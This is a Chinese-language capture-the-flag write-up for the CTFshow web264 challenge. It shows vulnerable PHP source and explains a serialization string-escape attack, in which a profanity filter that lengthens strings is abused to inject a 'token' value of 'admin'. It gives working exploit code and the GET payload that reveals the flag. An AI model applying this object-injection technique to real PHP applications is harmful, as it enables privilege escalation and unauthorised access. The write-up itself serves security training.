源码

index.php

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38                  |
# @message.php                                              |这里给了提示
# @email: h1xa@ctfer.com                                     |
# @link: https://ctfer.com*/error_reporting(0);
session_start();class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));$_SESSION['msg']=base64_encode($umsg);echo 'Your message has been sent';
}highlight_file(__FILE__);

message.php

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/
session_start();
highlight_file(__FILE__);
include('flag.php');class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_SESSION['msg']));if($msg->token=='admin'){echo $flag;}
}

思路

典型的字符逃逸问题

fuck每转一次love就会逃逸出一个字符

先直接拿到序列化结果

<?php
class message{public $from;public $msg;public $to='a';public $token='user';
}
$msg = new message();
$umsg = serialize($msg);
echo $umsg;
//O:7:"message":4:{s:4:"from";N;s:3:"msg";N;s:2:"to";s:1:"a";s:5:"token";s:4:"user";}

user要改成admin,要逃逸出来的部分实际上是";s:5:"token";s:5:"admin";},一共27个字符要转换27次

题解

exp

<?php
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
$f;
$m;
$t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg;
//O:7:"message":4:{s:4:"from";N;s:3:"msg";N;s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

index.php
get:?f=&m=&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
message.php
Cookie 加上 msg= xxx

总结

水题

CTFshow 反序列化 web264相关推荐

CTFshow 反序列化 web266
目录源码思路题解总结源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-04 23:52:24 # ...
CTFshow 反序列化 web259
目录源码思路题解总结源码 <?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']); //vip can get f ...
ctfshow 反序列化篇（下）
web267(yii框架) 开启靶机,是一个网站,试着搜索有没有重要信息.在这里发现是yii框架. 我们使用弱口令admin/admin就可以登录进来了,那就继续收集重要信息.在源代码中发现了重要注释 ...
CTFshow 反序列化 web277
目录源码题解总结源码查看源代码提示pickle,得知考点是pickle反序列化题解 exp 试了几次不能用bash,最后用了/bin/sh,因为环境里面没有装bash,得不到响应nc连上 ...
CTFshow 反序列化 web261
目录源码思路题解总结源码 <?phphighlight_file(__FILE__);class ctfshowvip{public $username;public $passwor ...
CTFshow 反序列化 web260
目录源码思路题解总结源码 <?phperror_reporting(0); highlight_file(__FILE__); include('flag.php');if(preg_ ...
CTFshow 反序列化 web262
目录源码思路题解解法一直接构造类进行序列化解法二字符逃逸总结源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date ...
CTFshow 反序列化 web263
目录源码思路题解总结源码也没有什么别的信息,扫一下目录,下载www.zip拿到源码思路知识点: php在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处 ...
CTFshow 反序列化 web258
目录源码思路题解总结源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # ...

CTFshow 反序列化 web264

目录

源码

思路

题解

总结

CTFshow 反序列化 web264相关推荐

最新文章

热门文章